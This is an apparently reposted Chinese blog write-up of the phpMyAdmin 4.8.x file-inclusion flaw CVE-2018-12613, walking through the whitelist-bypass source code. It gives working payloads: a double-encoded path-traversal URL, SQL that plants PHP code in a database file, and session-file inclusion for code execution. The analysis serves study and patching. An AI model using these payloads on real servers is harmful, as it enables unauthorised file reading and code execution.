mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞详情

范围 phpMyAdmin 4.8.0和4.8.1

原理 首先在index.php 50-63行代码

$target_blacklist = array (

'import.php', 'export.php'

);

// If we have a valid target, let's load that script instead

if (! empty($_REQUEST['target'])

&& is_string($_REQUEST['target'])

&& ! preg_match('/^index/', $_REQUEST['target'])

&& ! in_array($_REQUEST['target'], $target_blacklist)

&& Core::checkPageValidity($_REQUEST['target'])

) {

include $_REQUEST['target'];

exit;

}

满足5个条件后就会include$_REQUEST['target']的内容

$_REQUEST['target']不为空

$_REQUEST['target']是字符串

$_REQUEST['target']不以index开头

$_REQUEST['target']不在$target_blacklist中 'import.php', 'export.php'

Core::checkPageValidity($_REQUEST['target'])为真 代码在libraries\classes\Core.php 443-476行

public static function checkPageValidity(&$page, array $whitelist = [])

{

if (empty($whitelist)) {

$whitelist = self::$goto_whitelist;

}

if (! isset($page) || !is_string($page)) {

return false;

}

if (in_array($page, $whitelist)) {

return true;

}

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

}

$whitelist一开始未传参过来,所以会被赋值为self::$goto_whitelist

public static $goto_whitelist = array(

'db_datadict.php',

'db_sql.php',

'db_events.php',

'db_export.php',

'db_importdocsql.php',

'db_multi_table_query.php',

'db_structure.php',

'db_import.php',

'db_operations.php',

'db_search.php',

'db_routines.php',

'export.php',

'import.php',

'index.php',

'pdf_pages.php',

'pdf_schema.php',

'server_binlog.php',

'server_collations.php',

'server_databases.php',

'server_engines.php',

'server_export.php',

'server_import.php',

'server_privileges.php',

'server_sql.php',

'server_status.php',

'server_status_advisor.php',

'server_status_monitor.php',

'server_status_queries.php',

'server_status_variables.php',

'server_variables.php',

'sql.php',

'tbl_addfield.php',

'tbl_change.php',

'tbl_create.php',

'tbl_import.php',

'tbl_indexes.php',

'tbl_sql.php',

'tbl_export.php',

'tbl_operations.php',

'tbl_structure.php',

'tbl_relation.php',

'tbl_replace.php',

'tbl_row_action.php',

'tbl_select.php',

'tbl_zoom_select.php',

'transformation_overview.php',

'transformation_wrapper.php',

'user_password.php',

);

如果$page在白名单中就会直接return true,但这里考虑到了可能带参数的情况,所以有了下面的判断

$_page = mb_substr(

$page,

0,

mb_strpos($page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int 查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操作。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。

$_page是取出$page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true 但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

$_page = urldecode($page);

$_page = mb_substr(

$_page,

0,

mb_strpos($_page . '?', '?')

);

if (in_array($_page, $whitelist)) {

return true;

}

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件 例如传入 ?target=db_datadict.php%253f 由于服务器会自动解码一次,所以在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,这次便符合了?前内容在白名单的要求,函数返回true 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

漏洞复现

任意文件包含

通过目录穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

dcba9c240a9f4288ad205d16572d888e.png

任意代码执行

包含数据库文件 先执行SQL语句查询一下数据库路径 show global variables like "%datadir%";

5833a730c28bc9ed583fe453cd717d9d.png 向数据库写入php代码

CREATE DATABASE rce;

use rce;

CREATE TABLE rce(code varchar(100));

INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

018e42820c1b42f23317e60b90b2cb11.png 然后包含该数据库文件 ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

200c1dd36cdc07d791d6fcf1914d6a04.png

包函session文件 session路径的视环境而定

2ff83754dd617071bb7ba99925f83407.png

e52d585a7f348ac39098c7ab0e43d24c.png

239eab77f7dd253272c166647d8b4c02.png

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/272814.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

25句张小娴经典爱情语录,句句穿心!

1、女人在床上流的眼泪&#xff0c;比在任何一个地方多。男人在床上说的谎话&#xff0c;也比在任何一个地方多。2、承诺本来就是男人与女人的一场角力&#xff0c;有时皆大欢喜&#xff0c;大部份的情况却两败俱伤。3、爱情正是一个将一对陌生人变成情侣&#xff0c;又将一对情…

【原创】Ajax的用法总结

一、什么是AjaxAjax英文全称为“ Asynchr JavsScript and XML”&#xff08;异步的JavaScript和XML&#xff09;&#xff0c;是一种创建交互式网页的开发技术。二、Ajax技术的核心Ajax是一系列相关技术的融合&#xff0c;其核心包括XMLHttpRequest、JavsScript和DOM技术&#x…

Asp.Net生命周期的详解

一&#xff0e;Asp.Net页面生命周期的概念当我们在浏览器地址栏中输入网址&#xff0c;回车查看页面时&#xff0c;这时会向服务器端IIS&#xff09;发送一个request请求&#xff0c;服务器就会判断发送过来的请求页面&#xff0c;当完全识别 TTP页面处理程序类后&#xff0c;A…

指针的概念

在C语言中&#xff0c;内存单元的地址称为指针&#xff0c;专门用来存放地址的变量&#xff0c;有时对地址&#xff0c;指针和指针变量不区分&#xff0c;统称指针。&#xff08;地址指针&#xff09; 一般情况下&#xff0c;最前面的存储类型通常会省略 指针在说明的同时&…

Net中Session的用法

一、什么是Session&#xff1f;简单来说&#xff0c;就是用户与网站服务器建立的一个连接&#xff0c;服务器分配给一个编号。当一台WWW服务器运行时&#xff0c;可能有若干用户正在浏览运行在这台服务器上的网站。当用户首次与这台WWW服务器创建连接的时候&#xff0c;它就和这…

Linq用法笔记

一、什么是Linq?LINQ即Language Integrated Query(语言集成查询)&#xff0c;LINQ是集成到C#和Visual Basic.NET这些语言中用于提供查询数据能力的一个新特性。LINQ是一种用来进行数据访问的编程模型&#xff0c;Linq可以用相同的语法访问不同的数据源&#xff0c;比如xml、数…

用例图练习

转载于:https://www.cnblogs.com/fzuyzy/p/4925246.html

java 常量 内存分配_Java内存分配之堆、栈和常量池

寄存器&#xff1a;最快的存储区&#xff0c;位于不同于其他存储区的地方——处理器内部。寄存器的数量极其有限&#xff0c;所以寄存器由编译器根据需求 进行分配。你不能直接控制&#xff0c;也不能在程序中感觉到寄存器存在的任何迹象。栈&#xff1a;存放基本类型的数据和对…

sqlserver2008r2安装

转载于:https://www.cnblogs.com/sprinng/p/4932739.html

后台寻路系统的大体思路与流程

总的思路就是: 1, 通过前台unity的navigation的的接口: 获得顶点和三角形集合数据 2, 将前台的mesh数据转换成标准的obj格式数据 3. 强obj mesh数据经过一系列转换和优化, 生成recastnavigation插件寻路模块detour需要的导航数据 故制作了工具MakeNavmeshData生成detour需要的…

Eclipse is running in a JRE, but a JDK is required 解决方法(转)

转自&#xff1a;http://comeonbabye.iteye.com/blog/1186239 安装Maven后每次启动出现警告信息: Eclipse is running in a JRE, but a JDK is requiredSome Maven plugins may not work when importing projects or updating source folders. 分两步解决问题: 1. 检查Eclipse正…

收集一些优秀的DoNet开源项目

Paste_Image.pngJson.NEThttp://json.codeplex.com/ Json.Net是一个读写Json效率比较高的.Net框架.Json.Net 使得在.Net环境下使用Json更加简单。通过Linq To JSON可以快速的读写Json&#xff0c;通过JsonSerializer可以序列化你的.Net对象。让你轻松实现.Net中所有类型(对象,基…

OkHttp 上手

OkHttp 上手 优点 快、节省带宽。支持 HTTP&#xff0f;2 和 SPDY。HTTP&#xff0f;2 和 SPDY 允许对同一个主机的所有请求&#xff0c;使用一个 socket。如果不支持 SPDY 的话&#xff0c;可以用连接池减少请求等待时间。GZIP 缩小传输大小。缓存响应&#xff08;response ca…

你的工作是为了你自己!

1、无论为谁打工&#xff0c;要为自己学东西&#xff0c;客观为公司创造价值。我自己当年&#xff0c;无论我在方正给国内企业工作&#xff0c;还是我在雅虎给外国人工作&#xff0c;我都跟别人最大的不一样&#xff0c;我从来不觉得我在给他们打工&#xff0c;我真的可能是很有…

别去取悦,心里没你的人

鞋子不合适不必硬塞&#xff0c;否则磨了自己的脚&#xff1b;不必讨好心里没你的人&#xff0c;不在乎你的人&#xff0c;你付出再多&#xff0c;也打动不了他。讨好心里没你的人&#xff0c;会让自己很累很累&#xff1b;总是迁就他&#xff0c;总是围着他转&#xff0c;最后…

tensorflow java 加速_Tensorflow使用GPU加速

测试faster-rcnn时&#xff0c;cpu计算速度较慢&#xff0c;调整代码改为gpu加速运算将 with tf.Session() as sess: 替换为1 gpu_options tf.GPUOptions(per_process_gpu_memory_fraction0.9)2 with tf.Session(configtf.ConfigProto(gpu_optionsgpu_options,log_device_plac…

java中策略设计模式_Java中的设计模式(五):策略模式

策略设计模式是行为设计模式之一。当我们为特定任务使用多个算法时&#xff0c;使用策略模式&#xff0c;客户端决定在运行时使用的实际实现。策略模式的最佳示例之一是Collections.sort()采用Comparator参数的方法。基于Comparator接口的不同实现&#xff0c;对象将以不同的方…

光学基础知识:白光、颜色混合、RGB、色彩空间

1665年&#xff0c;牛顿(Isaac Newton)进行了太阳光实验&#xff0c;让太阳光通过窗板的小圆孔照射在玻璃三角棱镜上&#xff0c;光束在棱镜中折射后&#xff0c;扩散为一个连续的彩虹颜色带&#xff0c;牛顿称之为光谱&#xff0c;表示连续的可见光谱。而可见光谱只是所有电磁…

SQL Server各个版本功能比较

微软的SQlserver主要经历了从sql server 2000 到最新的sql server 2017&#xff0c;现把各个版本的更新特性介绍如下&#xff1a;SQL SERVER 2000日志传送索引视图SQL SERVER 2005数据库镜像&#xff08;只有 SQL Server 2005 Enterprise Edition SP1 和更高版本支持异步数据库…

java hibernate的使用_《Hibernate快速开始 – 4 – 使用JAVA持久层 API (JPA)教程》

章节目标使用JPA EntityManagerFactory使用注解提供映射信息使用 JPA 接口本教程可在 entitymanger/ 路径下下载4.1. persistence.xml之前的章节使用了hibernate原生的配置文件hibernate.cfg.xml。然而&#xff0c;JPA中定义了不同的的自助配置文件persistence.xml。这个启动过…